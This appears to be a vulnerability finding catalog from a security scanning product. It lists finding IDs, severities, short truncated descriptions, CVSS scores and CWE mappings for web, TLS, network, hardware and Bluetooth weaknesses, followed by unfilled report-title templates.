The HTTP response body or headers contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16), discl...
5.3 CWE-200
FR-456 MEDIUM Application Responses Identify Valid Accounts
Login endpoint responses differ between valid and invalid usernames, allowing attackers to enumerate valid accounts thro...
5.3 CWE-204
FR-457 HIGH Authorization Gaps — Unauthenticated Access to Restricted Paths
Administrative or restricted paths are accessible without authentication, indicating missing or misconfigured access con...
8.6 CWE-425 CWE-862
FR-458 MEDIUM HTTP Parameter Pollution (Reflected)
Duplicate HTTP parameters are processed and reflected in responses, potentially allowing attackers to bypass input valid...
5.4 CWE-235
FR-459 MEDIUM Improper Error Handling — Server Error Exposed
Server returns HTTP 5xx error responses with detailed error information including stack traces, database errors, or debu...
5.3 CWE-209 CWE-388
FR-460 MEDIUM Insecure HTTPS to HTTP Redirect Detected
Redirect chains downgrade from HTTPS to HTTP, exposing session tokens, credentials, and sensitive data to network-level ...
5.9 CWE-319
FR-460b MEDIUM Form Submits to HTTP from HTTPS Page
Forms on HTTPS pages submit data to HTTP endpoints, exposing form data (potentially including credentials) to network in...
5.9 CWE-319
FR-461 LOW Information Disclosure: Internal Hostname in HTTP Response
HTTP response headers or body contain internal hostnames (.local, .internal, .corp, .lan, etc.), disclosing naming conve...
3.7 CWE-200
FR-464 LOW Unhandled Application Exception Disclosed
HTTP responses contain exception class names, stack traces, or debug output patterns from various frameworks (Python, Ja...
5.3 CWE-209 CWE-497
FR-465 INFO Outdated or Unnecessary Website Detected
The website shows indicators of being outdated, abandoned, or unnecessary: old copyright dates, 'under construction' tex...
— CWE-1104
FR-466 HIGH Log File Publicly Accessible
The web server exposes log file(s) to unauthenticated users. Log files commonly contain internal IP addresses, stack tra...
5.3 CWE-532
FR-467 LOW Password Field With Autocomplete Enabled
Password input fields do not set autocomplete='off', allowing browsers to cache entered passwords.
3.3 CWE-525
FR-468 CRITICAL Information Disclosure: Cloud Credentials in File
Cloud or CI/CD credential file(s) are accessible via the web, containing API keys, access tokens, database passwords, an...
9.8 CWE-312 CWE-798
FR-469 CRITICAL Terraform State File Exposed
Terraform state file is accessible via the web, containing infrastructure secrets, API keys, database passwords, and com...
9.8 CWE-312
FR-470 MEDIUM Sensitive Data Exposed in HTML Comments
HTML comments in page source contain sensitive keywords such as passwords, API keys, connection strings, or tokens.
5.3 CWE-615
FR-471 HIGH Exposed Admin/Debug Endpoint: /_ray/api/health
Spatie Ray debug tool is accessible at /_ray/api/health. Ray allows remote code inspection and can expose application in...
7.5 CWE-489
FR-472 HIGH Exposed Admin/Debug Endpoint: Express.js Default Error
Express.js default error handler returns stack traces to clients, disclosing file paths, module versions, and applicatio...
5.3 CWE-209
FR-473 MEDIUM WebDAV PROPFIND Response Discloses Server Information
The server responds to unauthenticated PROPFIND requests with WebDAV property data, disclosing file metadata and directo...
5.3 CWE-200
FR-474 MEDIUM WebDAV Methods Enabled
The web server advertises WebDAV methods (PROPFIND, MKCOL, COPY, MOVE, LOCK, UNLOCK), enabling remote file manipulation ...
5.3 CWE-16
FR-475 MEDIUM Password Reset Token Exposed in URL
Password reset functionality includes the reset token in URL query parameters, exposing it in logs, browser history, and...
5.3 CWE-598
FR-476 LOW Information Disclosure: ETag
The ETag response header follows the Apache inode-size-mtime format, disclosing filesystem inode numbers that can finger...
3.7 CWE-200
FR-477 LOW Information Disclosure: Internal Hostname in SAN
The TLS certificate's Subject Alternative Names include internal hostnames that disclose naming conventions and network ...
3.7 CWE-200
FR-478 LOW Cloud Storage Bucket URL Exposed
Cloud storage bucket URLs (AWS S3, Google Cloud Storage, Azure Blob) are exposed in page content, enabling cloud infrast...
3.7 CWE-200
FR-479 HIGH Exposed Admin/Debug Endpoint: /_ignition/execute-solution
Laravel Ignition execute-solution endpoint is accessible, potentially enabling remote code execution via CVE-2021-3129.
9.8 CWE-94
FR-480 MEDIUM HTTP Methods: Unsafe Methods Enabled
The server advertises potentially dangerous HTTP methods (PUT, DELETE, TRACE, PATCH, WebDAV) via OPTIONS that may allow ...
5.3 CWE-16
FR-481 LOW Overly Permissive Permissions-Policy Header
The Permissions-Policy (or Feature-Policy) header grants wildcard (*) access to sensitive browser features such as camer...
3.1 CWE-16
FR-482 HIGH Expired TLS Certificate Detected
The TLS certificate presented by the server has passed its notAfter date and is no longer valid. Expired certificates br...
6.5 CWE-295 CWE-324
FR-483 MEDIUM Self-Signed TLS Certificate
The server presents a self-signed TLS certificate that is not issued by a trusted Certificate Authority. Self-signed cer...
5.3 CWE-295
FR-484 MEDIUM TLS Certificate Hostname Mismatch
The TLS certificate presented by the server does not match the hostname being accessed. The certificate's Common Name (C...
5.3 CWE-295 CWE-297
FR-485 HIGH Revoked TLS Certificate Detected
The TLS certificate presented by the server has been revoked by its issuing Certificate Authority. Certificate revocatio...
7.4 CWE-295 CWE-299
FR-486 INFO TLS Certificate SAN Enumeration
The TLS certificate presented by the server contains multiple Subject Alternative Name (SAN) entries, revealing addition...
— CWE-200
FR-487 HIGH Ivanti Cloud Services Appliance (CSA) Detected
The TLS certificate fingerprint identifies this host as an Ivanti Cloud Services Appliance (CSA). Ivanti CSA has been th...
9.8 CWE-22 CWE-89 CWE-78
FR-488 HIGH Pulse Secure / Ivanti Connect Secure VPN Detected
The TLS certificate fingerprint identifies this host as a Pulse Secure / Ivanti Connect Secure VPN appliance. This produ...
9.8 CWE-287 CWE-78
FR-489 MEDIUM F5 BIG-IP Detected
The TLS certificate fingerprint identifies this host as an F5 BIG-IP appliance. F5 BIG-IP has had critical remote code e...
9.8 CWE-287 CWE-78
FR-490 HIGH Citrix NetScaler / ADC Detected
The TLS certificate fingerprint identifies this host as a Citrix NetScaler or ADC appliance. Citrix ADC has been the tar...
9.8 CWE-119 CWE-94
FR-491 MEDIUM Fortinet FortiGate Detected
The TLS certificate fingerprint identifies this host as a Fortinet appliance (FortiGate, FortiWeb, or FortiOS-based). Fo...
9.8 CWE-787 CWE-122
FR-492 MEDIUM Palo Alto Networks Detected
The TLS certificate fingerprint identifies this host as a Palo Alto Networks appliance. PAN-OS has been the target of cr...
10.0 CWE-77
FR-493 MEDIUM SonicWall Detected
The TLS certificate fingerprint identifies this host as a SonicWall appliance. SonicWall has had critical vulnerabilitie...
9.3 CWE-284
FR-494 MEDIUM Cisco ASA Detected
The TLS certificate fingerprint identifies this host as a Cisco Adaptive Security Appliance (ASA). Cisco ASA is a widely...
8.6 CWE-287
FR-495 MEDIUM VMware vSphere / ESXi Detected
The TLS certificate fingerprint identifies this host as a VMware vSphere, vCenter, or ESXi host. VMware hypervisor produ...
8.8 CWE-287
FR-496 MEDIUM Sophos Firewall Detected
The TLS certificate fingerprint identifies this host as a Sophos firewall appliance (XG Firewall, Sophos Firewall OS, or...
9.8 CWE-89 CWE-78
FR-497 INFO Technology Stack Identified (Wappalyzer)
Webanalyze (Wappalyzer engine) identified the technology stack running on the target web application. Technologies detec...
— CWE-200
FR-498 INFO Hidden HTTP Parameters Discovered
arjun discovered hidden HTTP parameters that are not present in crawled forms, links, or visible page elements. These pa...
— CWE-200
FR-499 LOW Security-Sensitive Hidden Parameter
arjun discovered a hidden HTTP parameter with a security-sensitive name pattern (such as admin, debug, test, secret, tok...
3.7 CWE-200 CWE-489
FR-500 CRITICAL Server-Side Template Injection (SSTI) — SSTImap Confirmed
SSTImap confirmed that the target application is vulnerable to Server-Side Template Injection (SSTI). User-supplied inpu...
9.8 CWE-1336 CWE-94
FR-501 MEDIUM SSTI — Template Engine Identified
SSTImap identified the template engine in use on the target application (e.g., Jinja2, Twig, Freemarker, Mako, Velocity,...
5.3 CWE-1336
FR-502 CRITICAL OS Command Injection — commix Confirmed
commix confirmed that the target application is vulnerable to OS command injection. User-supplied input is incorporated ...
9.8 CWE-78 CWE-77
FR-503 HIGH Blind Command Injection (Time-Based) — commix
commix detected blind OS command injection via time-based techniques. The application's response time varied when time-d...
8.1 CWE-78
FR-504 HIGH Web Cache Poisoning
toxicache confirmed that the web cache can be poisoned. An unkeyed input (such as an HTTP header not included in the cac...
7.5 CWE-444 CWE-345
FR-505 MEDIUM Web Cache Deception
toxicache detected that the web cache serves incorrect content to users due to path confusion or misconfigured caching r...
5.3 CWE-444 CWE-525
FR-506 LOW Unkeyed Header in Cache Response
toxicache detected that the web cache does not include a specific HTTP header in its cache key, but the header's value i...
3.7 CWE-444
FR-507 MEDIUM Session Token Exposed in URL
Session-related parameter(s) appear in the URL query string. Tokens in URLs leak through browser history, Referer header...
5.3 CWE-598
FR-508 MEDIUM Session Token in Page Links
Page links embed session tokens in URL query parameters within href attributes, leaking tokens through Referer headers w...
5.3 CWE-598
FR-509 LOW Overly Broad Cookie Domain Scope
Session cookies are scoped to a parent domain rather than the application's specific hostname, allowing any subdomain un...
3.7 CWE-1275
FR-510 INFO Cookie Path Scoped to Root
Session cookies use Path=/ while the application resides at a subpath. Other applications on the same hostname can read ...
2.0 CWE-1275
FR-511 CRITICAL JWT Algorithm None Accepted
A JWT token uses algorithm 'none', meaning the token has no signature verification. Any attacker can forge arbitrary tok...
9.8 CWE-345 CWE-327
FR-512 MEDIUM JWT Missing Expiration Claim
A JWT token has no 'exp' (expiration) claim. Without expiration, a stolen token remains valid indefinitely.
6.5 CWE-613
FR-513 LOW JWT Excessive Lifetime
A JWT token has an excessively long lifetime (>24 hours). Long-lived tokens increase the window for token theft and repl...
3.7 CWE-613
FR-514 MEDIUM JWT Contains Sensitive Data
A JWT payload contains sensitive fields (passwords, SSNs, credit card numbers). JWT payloads are base64url-encoded (not ...
6.5 CWE-315
FR-515 LOW JWT Missing Audience Claim
A JWT token has no 'aud' (audience) claim. Without audience restriction, tokens intended for one service may be replayed...
3.7 CWE-284
FR-516 MEDIUM Session Persists After Password Change
Existing sessions remain valid after a password change. If an attacker has compromised a session, changing the password ...
5.4 CWE-613
FR-517 MEDIUM Excessive Session Cookie Lifetime
A session cookie has an excessively long lifetime (>30 days), increasing the window for session hijacking via stolen coo...
5.3 CWE-613
FR-518 MEDIUM Missing Referrer-Policy With External Links
The authenticated page contains external links but no Referrer-Policy header is set. Browsers default to sending the ful...
5.3 CWE-200
FR-519 LOW Mixed Content on Authenticated Page
The authenticated HTTPS page loads resources over plain HTTP. Mixed content allows a network attacker to inject maliciou...
4.8 CWE-319
FR-520 LOW Potential Session Puzzling
The same session cookie name is assigned different values across functionally distinct paths (login, registration, passw...
3.7 CWE-384
GB-DISC-001 INFO Live Host Discovered
A host was confirmed active on the network by responding to one or more probe types (ICMP, TCP SYN, ARP, or UDP), expand...
— —
GB-DISC-002 INFO Open Port Discovered
A TCP or UDP port was confirmed open on the target host, indicating an exposed service that contributes to the overall n...
— —
GB-DISC-003 INFO Service Version Identified
A specific software version was identified from a service banner or nmap version detection. This information can be cros...
— —
GB-DISC-004 INFO DHCP Lease Assigned to Device
The device successfully obtained a DHCP lease from the gearbox DHCP server. The assigned IP address and MAC address are ...
— —
GB-DISC-005 HIGH LLMNR/NBT-NS Broadcast Poisoning Possible
LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Re...
— —
GB-DISC-006 HIGH LLMNR/NBT-NS Broadcast Poisoning Possible
LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Re...
— —
GB-CRED-001 CRITICAL NTLM Hash Captured via Responder
Responder successfully captured an NTLMv1 or NTLMv2 challenge-response hash in response to a poisoned LLMNR/NBT-NS reply...
— —
GB-CRED-002 CRITICAL Cleartext Credentials in Traffic Capture
Cleartext credentials (username/password) were observed in captured network traffic. The device transmitted authenticati...
— —
GB-CRED-003 CRITICAL Weak or Default Credentials Accepted
The target accepted well-known default or factory-set credentials, granting unauthorised access.
— —
GB-VULN-001 CRITICAL Nessus Critical Vulnerability
Nessus Professional identified a critical severity vulnerability (CVSS ≥ 9.0). This typically represents unauthenticated...
— —
GB-VULN-002 HIGH Nessus High Vulnerability
Nessus Professional identified a high severity vulnerability (CVSS 7.0–8.9). Often exploitable by local or adjacent atta...
— —
GB-VULN-003 MEDIUM Nessus Medium Vulnerability
Nessus Professional identified a medium severity vulnerability (CVSS 4.0–6.9). May require special conditions to exploit...
— —
GB-VULN-004 LOW Nessus Low / Informational Finding
Nessus Professional identified a low-severity or informational finding. May represent configuration observations or vers...
— —
GB-VULN-005 HIGH CVE-Matched Service Banner
The service banner matched a known CVE in the NVD or OSV.dev database. The software version identified in the banner is ...
— —
GB-VULN-006 HIGH End-of-Life Software Detected
A service banner or version string indicates software that has passed its vendor end-of-life date. No further security p...
— —
GB-VULN-007 HIGH End-of-Life Operating System Detected
The operating system identified from banners or Nessus output has passed its vendor support end-of-life date. The OS wil...
— —
GB-VULN-008 HIGH Nuclei Template Match — CVE
Nuclei matched a CVE-tagged template against the target. The response pattern confirms the service is exhibiting behavio...
— —
GB-VULN-009 MEDIUM Nuclei Template Match — Misconfiguration
Nuclei identified a security misconfiguration (exposed admin panel, default path, misconfigured CORS, insecure HTTP meth...
— —
GB-VULN-010 HIGH Nuclei Template Match — Exposed Panel
Nuclei identified an exposed administrative or management panel accessible without prior authentication (e.g., Grafana, ...
— —
GB-TLS-001 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
— —
GB-TLS-002 MEDIUM SSL/TLS Certificate: Self-Signed
The server presented a self-signed TLS certificate that is not anchored to a publicly trusted CA, preventing clients fro...
— —
GB-TLS-003 HIGH SSL/TLS — Protocol Version Below TLS 1.2
TLS 1.0 or TLS 1.1 is accepted. These protocol versions are deprecated by RFC 8996 and vulnerable to BEAST, POODLE, and ...
— —
GB-TLS-004 MEDIUM SSL/TLS — Weak Cipher Suite Accepted
The TLS server accepts cipher suites providing less than 128-bit security, null encryption, or anonymous key exchange.
— —
GB-TLS-005 MEDIUM SSL/TLS — CRIME / BEAST / LUCKY13 Vulnerability
The TLS configuration is susceptible to a compression-based oracle (CRIME), cipher-block chaining attack (BEAST), or tim...
— —
GB-TLS-006 LOW SSL/TLS — Missing HSTS Header
The HTTPS service does not return a Strict-Transport-Security header. Clients may be susceptible to SSL stripping attack...
— —
GB-TLS-007 MEDIUM SSL/TLS — Weak Certificate Signature Algorithm
The TLS certificate is signed with a deprecated algorithm such as MD5 or SHA-1. These algorithms are vulnerable to colli...
— —
GB-TLS-008 MEDIUM SSL/TLS — Certificate Hostname Mismatch
The Common Name or Subject Alternative Names in the TLS certificate do not match the host being connected to. Clients wi...
— —
GB-SSH-001 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-002 HIGH SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-003 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-004 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-005 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SMB-001 HIGH SMB Signing Disabled or Not Required
SMB packet signing is not enforced on the server, allowing an attacker positioned between client and server to relay or ...
— —
GB-SMB-002 CRITICAL SMB Share Accessible Without Authentication
One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files a...
— —
GB-SMB-003 CRITICAL SMB Share Accessible Without Authentication
One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files a...
— —
GB-WEB-001 CRITICAL Web — Default Credentials Accepted
The web management interface accepted default manufacturer credentials. An attacker can gain full administrative access ...
— —
GB-WEB-002 MEDIUM Directory Listing Enabled
The web server is configured to display a browsable directory index, exposing file structure and potentially sensitive f...
— —
GB-WEB-003 LOW Web — Missing Security Headers
One or more recommended HTTP security headers are absent: Content-Security-Policy, X-Frame-Options, X-Content-Type-Optio...
— —
GB-WEB-004 LOW Information Disclosure: Server Header
The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance...
— —
GB-WEB-005 MEDIUM Web — HTTP Exposed (No HTTPS Redirect)
The web application is accessible over plaintext HTTP and does not redirect to HTTPS. Credentials and session tokens tra...
— —
GB-WEB-006 MEDIUM Web — Insecure Cookie Attributes
Session or authentication cookies are missing the Secure, HttpOnly, or SameSite attributes. This exposes them to theft v...
— —
GB-NET-001 HIGH Unencrypted Service: Telnet
A Telnet service is accessible on the network, transmitting all data including authentication credentials in cleartext, ...
— —
GB-NET-002 HIGH SNMP Default Community String Accepted
The SNMP service accepts a well-known default community string (e.g., public/private), allowing unauthenticated read (an...
— —
GB-NET-003 HIGH FTP Anonymous Login Permitted
The FTP service accepts the anonymous username without credentials, potentially exposing hosted files or allowing unauth...
— —
GB-NET-004 HIGH NFS World-Readable Export
An NFS export is accessible to all hosts (wildcard * or 0.0.0.0/0 in /etc/exports). Any host on the network can mount an...
— —
GB-NET-005 MEDIUM Deprecated or Weak Protocol in Use
A deprecated or inherently weak network protocol was identified (e.g., RPC portmapper, rsh, rlogin, finger, X11 without ...
— —
GB-NET-006 LOW mDNS / Bonjour Service Announcement
The device is broadcasting mDNS (Multicast DNS / Bonjour / Avahi) service announcements. These expose device capabilitie...
— —
GB-RFID-001 HIGH RFID Card UID Captured
Proxmark3 successfully read the UID of an RFID credential within range of the device reader. Systems relying solely on U...
— —
GB-RFID-002 HIGH RFID Card Data Payload Read
The RFID card data blocks were successfully read without authentication. Sensitive data stored in card memory (employee ...
— —
GB-RFID-003 CRITICAL RFID Replay Attack Successful
A captured RFID credential was successfully replayed to the reader and accepted. No anti-replay protection is in place.
— —
GB-USB-001 HIGH USB HID Keyboard Injection Accepted
The device accepted keystroke injection from an emulated HID keyboard without any restriction or rate-limiting. A pre-pr...
— —
GB-USB-002 HIGH USB Bash Bunny Payload Executed
A Bash Bunny HID payload was executed by the device. The injected keystrokes were processed without restriction.
— —
GB-USB-003 MEDIUM USB Abnormal Power Draw
Abnormal USB power characteristics were detected, potentially indicating a rogue charging cable or peripheral with embed...
— —
GB-HW-001 MEDIUM HDMI CEC Command Injection Accepted
Injected HDMI CEC commands were accepted and processed. An attacker with HDMI port access can issue remote control comma...
— —
GB-HW-002 MEDIUM HDMI HDCP Not Enforced
HDCP content protection is not enforced on the HDMI interface. Video/audio streams can be captured in cleartext.
— —
GB-HW-003 MEDIUM HDMI DDC-CI Unauthorised Control
DDC-CI commands accepted over HDMI allow monitor control (brightness, OSD) without physical interaction with the display...
— —
GB-HW-004 INFO EDID Information Disclosure
EDID data was successfully read, disclosing monitor model, serial number, manufacturer, and capabilities.
— —
GB-SERIAL-001 HIGH Unauthenticated Serial Console
A serial console (UART, RS-232) provided an interactive unauthenticated shell or bootloader prompt on connection.
— —
GB-SERIAL-002 INFO Serial Console Baud Rate Identified
The serial port baud rate was auto-detected. The presence and configuration of a serial console is documented.
— —
GB-CAN-001 INFO CAN Bus Frame Captured
CAN bus frames were captured from the device. Frame IDs and data payloads are documented for replay and fuzzing analysis...
— —
GB-CAN-002 HIGH CAN Bus Injected Frame Accepted
An injected CAN frame was accepted and processed by the device. CAN has no built-in authentication; any node on the bus ...
— —
GB-ZIGBEE-001 HIGH Zigbee Traffic Captured
Zigbee frames were captured from the device. Depending on the security profile, payloads may disclose network keys, sens...
— —
GB-ZIGBEE-002 MEDIUM Zigbee Flooding / Denial of Service
The Zigbee network showed signs of packet flooding tolerance (or lack thereof). Injection of excessive frames caused deg...
— —
GB-CONF-001 INFO ARP / DHCP Traffic Reveals Network Configuration
Passive ARP or DHCP traffic captured during the ConfigDiscovery phase revealed network configuration details: default ga...
— —
GB-CONF-002 MEDIUM Plaintext Protocol in Boot Traffic
Traffic captured during device boot revealed cleartext protocols (Telnet, HTTP, FTP, TFTP) carrying potentially sensitiv...
— —
GB-CONF-003 MEDIUM Plaintext Protocol in Shutdown Traffic
Traffic captured during device shutdown contained plaintext protocol traffic, potentially including final state synchron...
— —
GB-CAN-003 CRITICAL CAN Replay Attack
A previously captured CAN frame was successfully replayed and accepted as a legitimate message by one or more nodes on t...
— —
GB-TLS-009 MEDIUM SSL/TLS Vulnerability: BEAST
The TLS server accepts TLS 1.0 connections using CBC (Cipher Block Chaining) cipher suites, making it susceptible to the...
— —
GB-TLS-010 MEDIUM SSL/TLS Vulnerability: LUCKY13
The TLS configuration accepts CBC cipher suites that are vulnerable to the LUCKY13 timing side-channel attack. LUCKY13 e...
— —
GB-TLS-011 MEDIUM SSL/TLS Vulnerability: SWEET32
The TLS server negotiates cipher suites using 64-bit block ciphers such as 3DES (Triple-DES) or Blowfish, making it vuln...
— —
GB-TLS-012 LOW SSL/TLS Certificate: Expiring Soon
The server's TLS certificate has a remaining validity of fewer than 30 days, placing it at imminent risk of expiry. Upon...
— —
GB-TLS-013 LOW SSL/TLS - Overly Long Certificate Expiry
The TLS certificate has a validity period exceeding 398 days, in violation of the CA/Browser Forum baseline requirements...
— —
GB-NET-007 HIGH FTP Bounce Attack Possible
The FTP server accepts the PORT command with arbitrary destination IP addresses, enabling FTP bounce attacks. In a bounc...
— —
GB-NET-008 HIGH NFS Export Points Enumerated — Potentially Unauthenticated Access
The NFS server responded to showmount queries, exposing a list of exported filesystem paths and their allowed client spe...
— —
GB-NET-009 HIGH NFS Insecure Export Options
One or more NFS exports are configured with insecure options that increase the risk of unauthorised access or privilege ...
— —
GB-NET-010 HIGH Industrial/OT Protocol Exposure
An industrial or operational technology (OT) protocol was detected on the network, including but not limited to Modbus/T...
— —
GB-NET-011 MEDIUM Unencrypted Protocol Detected
A network service communicating over a cleartext protocol was identified, including one or more of: FTP (21), Telnet (23...
— —
GB-WEB-007 LOW Missing Secure Cookie Attribute: HttpOnly
A session or sensitive cookie was identified without the HttpOnly attribute. Without this flag, the cookie value is acce...
— —
GB-WEB-008 LOW Missing Secure Cookie Attribute: Secure
A session or sensitive cookie was identified without the Secure attribute. Without this flag, the browser will transmit ...
— —
GB-WEB-009 LOW Missing Secure Cookie Attribute: SameSite
A session or sensitive cookie was identified without a SameSite attribute. Cookies without SameSite are sent by the brow...
— —
GB-WEB-010 LOW Misconfigured Secure Cookie Attribute: SameSite
A session or sensitive cookie was identified with the SameSite attribute set to an insecure value. Setting SameSite=None...
— —
GB-SERIAL-003 CRITICAL Serial Port Allows Remote Access
A serial console interface is accessible to an unauthenticated party via an exposed physical connector, a network-bridge...
— —
GB-HW-005 INFO HDMI CEC Bus Device Enumeration
HDMI CEC bus enumeration was performed and active devices on the CEC bus were successfully identified without any authen...
— —
GB-HW-006 MEDIUM DDC/CI Display Control Channel Accessible
The DDC/CI (Display Data Channel Command Interface) channel over HDMI or DisplayPort is accessible and accepts control c...
— —
GB-VULN-011 CRITICAL Heartbleed (CVE-2014-0160) Vulnerability Detected
The target is running a version of OpenSSL affected by CVE-2014-0160 (Heartbleed). The TLS heartbeat extension implement...
— —
GB-CRED-004 CRITICAL Cleartext Credentials Captured
A username and password pair was observed in plaintext within captured network traffic. The credentials were transmitted...
— —
GB-DISC-007 INFO Discovery: Hostname Identified
A DNS hostname or NetBIOS name was resolved for a target IP address, providing a human-readable label for the host. Host...
— —
GB-001 CEC Bus Devices Discoverable Without Authentication — {self.ctx.instance_key} — —
GB-002 CEC Devices Enumerated — {self.ctx.instance_key} — —
GB-003 CEC Power State Exposed — Unauthorised Control Possible — {self.ctx.instance_key} — —
GB-004 CEC Scan Complete — No Devices Responded — {self.ctx.instance_key} — —
GB-005 Cleartext Credential Captured — {user} — —
GB-006 Cleartext Credentials Captured — {user} — —
GB-007 DDC/CI Display Control Channel Accessible — {self.ctx.instance_key} — —
GB-008 DDC/CI Interface Accessible — {self.ctx.instance_key} — —
GB-009 Default Page Detected — {label} ({url}) — —
GB-010 Default/Test Page Exposed — {label} at {url} — —
GB-011 Devices Discovered via DHCP — {self.ctx.instance_key} — —
GB-012 DHCP Leases Issued — {self.ctx.instance_key} — —
GB-013 Display Info Retrieved — {self.ctx.instance_key} — —
GB-014 EDID Data Retrieved — {self.ctx.instance_key} — —
GB-015 EDID Extension Blocks Present — {self.ctx.instance_key} — —
GB-016 Ethernet Link Detected — {self.ctx.instance_key} — —
GB-017 Ethernet Port Disabled — {self.ctx.instance_key} — —
GB-018 FTP Bounce Attack Possible — {ip}:{port} — —
GB-019 FTP Service Analysis — {ip}:{port} — —
GB-020 HDCP Negotiation Incomplete — {self.ctx.instance_key} — —
GB-021 HDCP Not Enforced — {self.ctx.instance_key} — —
GB-022 HDCP Status Not Readable — {self.ctx.instance_key} — —
GB-023 HDCP Status Read — {self.ctx.instance_key} — —
GB-024 HID Attack Device Executed Payload — {self.ctx.instance_key} — —
GB-025 Interesting Protocols Detected — {self.ctx.instance_key} — —
GB-026 Keyboard Shortcut Access — {self.ctx.instance_key} — —
GB-027 Local File Inclusion - {body} — —
GB-028 Local File Inclusion - {software} — —
GB-029 Missing Security Header: {_hdr} — —
GB-030 Missing Security Header: {header_name} — —
GB-031 Network Configuration Established — {self.ctx.instance_key} — —
GB-032 Network Configuration via DHCP — {self.ctx.instance_key} — —
GB-033 NFS Enumeration — {ip} — —
GB-034 NFS Insecure Export Options — {ip} — —
GB-035 NFS Share Exposed — {ip} — —
GB-036 Responder Capture Log — {self.ctx.instance_key} — —
GB-037 RFID Credential Replay Successful — {self.ctx.instance_key} — —
GB-038 RFID Scan Results — {self.ctx.instance_key} — —
GB-039 Robots.txt File Found ({fip}:{fprt}) — —
GB-040 Screenshot Captured — {url} — —
GB-041 screenshot_{safe_tag} — —
GB-042 Security Headers Analysis — {url} — —
GB-043 Security Headers Check — {url} — —
GB-044 Service Banner — {ip}:{port} ({svc}) — —
GB-045 SMB Service Analysis — {ip}:{port} — —
GB-046 SSH Audit — {ip}:{port} — —
GB-047 SSH Service Analysis — {ip}:{port} — —
GB-048 SSL Certificate Issuer — {issuer} — —
GB-049 SSL/TLS - {proto} Enabled — —
GB-050 SSL/TLS Assessment — {ip}:{port} — —
GB-051 TLS Certificate — {url} — —
GB-052 Traffic Capture — Boot Sequence ({self.ctx.instance_key}) — —
GB-053 Traffic Capture — Running Operation ({self.ctx.instance_key}) — —
GB-054 Traffic Capture — Shutdown Sequence ({self.ctx.instance_key}) — —
GB-055 Unencrypted Protocol Detected: {_proto_name} — {_hip}:{_portid} — —
GB-056 USB HID Keyboard Accepted — {self.ctx.instance_key} — —
GB-057 USB Mass Storage Accepted — {self.ctx.instance_key} — —
GB-058 USB Mass Storage Partially Accepted — {self.ctx.instance_key} — —
GB-059 Web Assessment — {url} — —
GB-060 Web Links Extracted — {url} — —
GB-061 Web Spider Results — {url} — —
GB-062 Zigbee Device Susceptible to Flooding on {self.ctx.instance_key} — —
GB-063 __FP_SKIP__ — —
GB-064 Certificate Hostname Mismatch — —
GB-065 Data Leakage: Serial Traffic Sniffable — —
GB-066 DB9 Port: No Active Protocol Detected — — —
GB-067 NTLMv2 Hash Captured via Responder — —
GB-068 Plaintext CAN Traffic Captured — —
GB-069 Responder Captured NTLMv1 Hashes — —
GB-070 screenshot — —
GB-071 Serial Port Responds to Commands — — —
GB-BT-001 INFO Bluetooth Device Discovered
A Bluetooth (BR/EDR or BLE) device was detected during zero-knowledge scanning, along with its advertising data (address...
— —
GB-BT-002 INFO BLE GATT Service Enumerated
The GATT server of a BLE device was enumerated without prior knowledge, revealing its services, characteristics, handles...
— CWE-200
GB-BT-003 INFO Classic Bluetooth SDP Service Enumerated
Classic Bluetooth (BR/EDR) SDP service records were enumerated (RFCOMM/L2CAP channels, profiles such as SPP/DUN/PAN).
— CWE-200
GB-BT-004 MEDIUM Static or Public Bluetooth Address — Device Trackable
The device advertises with a Public or Static-Random Bluetooth address that does not rotate, rather than a rotating Reso...
— CWE-200 CWE-359 CWE-1188
GB-BT-005 HIGH Sensitive Identifier Broadcast in Advertising Data
The device broadcasts a serial number, patient identifier, or other per-unit token in its advertising name or manufactur...
— CWE-200 CWE-359
GB-BT-006 HIGH Just Works Pairing — No MITM Protection
The device negotiated Just Works pairing (SMP MITM-protection bit = 0, or an IO capability of NoInputNoOutput on either ...
— CWE-1188 CWE-300 CWE-306
GB-BT-007 HIGH LE Legacy Pairing — Passively Decryptable
The device negotiated LE Legacy pairing (SMP Secure Connections bit = 0). Legacy derives the session key from a weak Tem...
— CWE-327 CWE-326 CWE-294
GB-BT-008 HIGH Static or Reused BLE Passkey
The device authenticates LE Secure Connections pairing with a static or reused 6-digit passkey — printed on the enclosur...
— CWE-798 CWE-521 CWE-1392
GB-BT-009 HIGH Bluetooth Pairing Method Confusion
A man-in-the-middle can negotiate Numeric Comparison with one device and Passkey Entry with the other in the same ceremo...
— CWE-287
GB-BT-010 HIGH Bluetooth Pairing Security Downgrade Accepted
The device completed pairing after a forced downgrade offer (Secure Connections cleared, IO capability set to NoInputNoO...
— CWE-757 CWE-300 CWE-326
GB-BT-011 HIGH Short Bluetooth Encryption Key Negotiated
The device negotiated a maximum encryption key size below 16 bytes (BLE floor is 7). Short keys reduce brute-force cost ...
— CWE-327 CWE-326
GB-BT-012 MEDIUM Bluetooth ECDH Public Key Not Validated (CVE-2018-5383)
The pairing stack does not validate the peer's ECDH public key (Y-coordinate) during Secure Simple Pairing / LE Secure C...
6.8 CWE-347 CWE-325
GB-BT-013 HIGH KNOB — Bluetooth Encryption Key Entropy Downgrade (CVE-2019-9506)
